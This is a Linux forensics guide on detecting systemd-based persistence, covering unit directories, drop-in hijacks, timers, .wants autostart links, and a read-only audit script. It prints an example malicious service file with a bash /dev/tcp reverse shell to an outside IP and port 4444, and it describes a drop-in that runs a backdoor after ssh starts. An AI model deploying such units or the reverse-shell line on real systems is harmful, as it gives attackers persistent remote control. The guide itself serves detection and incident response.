Skip to content

Artifact Analysis: Linux Systemd Service Persistence

1. Artifact Locations: The Hierarchy of Suspicion

Section titled “1. Artifact Locations: The Hierarchy of Suspicion”

Systemd loads its configurations from multiple directories, enforcing a strict order of precedence. When conducting offline analysis on a mounted forensic image (e.g., /mnt/analysis/), analysts must audit these paths methodically.

/etc/systemd/system/

High Priority (Red Zone). This directory is reserved for system administrator configurations. Files here override defaults. Attackers predominantly drop their malicious .service files here to establish root-level persistence.

/usr/lib/systemd/system/

Low Priority (System Defaults). Where installed packages place their default service files. Advanced attackers may modify a legitimate file here (e.g., ssh.service) and use “Timestomping” to blend in.

~/.config/systemd/user/

User-Level Persistence. Systemd allows unprivileged users to manage their own services. If a web server daemon (www-data) is compromised, attackers can establish stealthy persistence here without needing root privileges.

A systemd service is defined by a plain-text INI-style file. Analyzing the configuration directives reveals the attacker’s intent and payload execution mechanics.

evil-network-manager.service
[Unit]
Description=High Performance Network Service # Deceptive description to fool junior admins
After=network.target
[Service]
Type=simple
# THE PAYLOAD: Spawns an interactive reverse shell
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/198.51.100.45/4444 0>&1"
# AGGRESSIVE PERSISTENCE: Systemd will instantly restart the malware if the analyst kills the process
Restart=always
RestartSec=60
[Install]
# AUTOSTART: Ensures the service is launched automatically during the boot sequence
WantedBy=multi-user.target
  • ExecStart: The absolute path to the executed binary or script. Look for commands pointing to staging directories (/tmp/, /dev/shm/), hidden files (/usr/bin/.sys), or obfuscated shell commands.
  • Restart=always: Indicates a highly resilient malware designed to survive process termination.
  • ExecStartPre / ExecStartPost: Directives used to execute stealthy commands immediately before or after a service starts.

Threat actors continuously adapt to evade basic triage scripts that simply look for new .service files.

A. The “Drop-in” Hijack (Service Hooking)

Section titled “A. The “Drop-in” Hijack (Service Hooking)”

Instead of creating a new service or modifying a legitimate one (which breaks file hashes), systemd allows overriding specific directives by creating a .d directory.

  • The Attack: An adversary creates /etc/systemd/system/ssh.service.d/override.conf. Inside, they add an ExecStartPost=/tmp/backdoor.sh directive.
  • The Result: The legitimate SSH daemon starts normally, but systemd silently executes the attacker’s backdoor immediately afterward. The original ssh.service file remains untouched.

Systemd Timers can completely replace legacy cron jobs.

  • The Attack: An analyst reviews all enabled services and finds nothing malicious. However, an attacker has created a backup.timer file that triggers a dormant backup.service (the payload) every 15 minutes.
  • DFIR Action: Analysts must explicitly hunt for files ending in .timer across all systemd directories.

For a systemd service to start automatically at boot, it must be “enabled” (via systemctl enable). This action creates a symbolic link inside a .wants directory.

To identify exactly what is configured to execute at startup on a dead disk, analysts must list the contents of the target directories:

  • /mnt/analysis/etc/systemd/system/multi-user.target.wants/
  • /mnt/analysis/etc/systemd/system/graphical.target.wants/

If a symbolic link exists in these folders pointing to a suspicious service file (e.g., S99evil.service -> /etc/systemd/system/evil.service), the persistence mechanism is fully weaponized.

audit_systemd_offline.sh
#!/bin/bash
TARGET_DIR="/mnt/analysis"
echo "[+] Hunting for recently modified Systemd units..."
find $TARGET_DIR/etc/systemd/system/ -type f -mtime -7 -ls
echo "[+] Hunting for Systemd Drop-in modifications..."
find $TARGET_DIR/etc/systemd/system/ -type d -name "*.d" -exec ls -la {} +
echo "[+] Listing all Auto-Start services (Enabled via .wants)..."
ls -l $TARGET_DIR/etc/systemd/system/*.wants/
echo "[+] Hunting for Systemd Timers..."
find $TARGET_DIR/etc/systemd/system/ -type f -name "*.timer"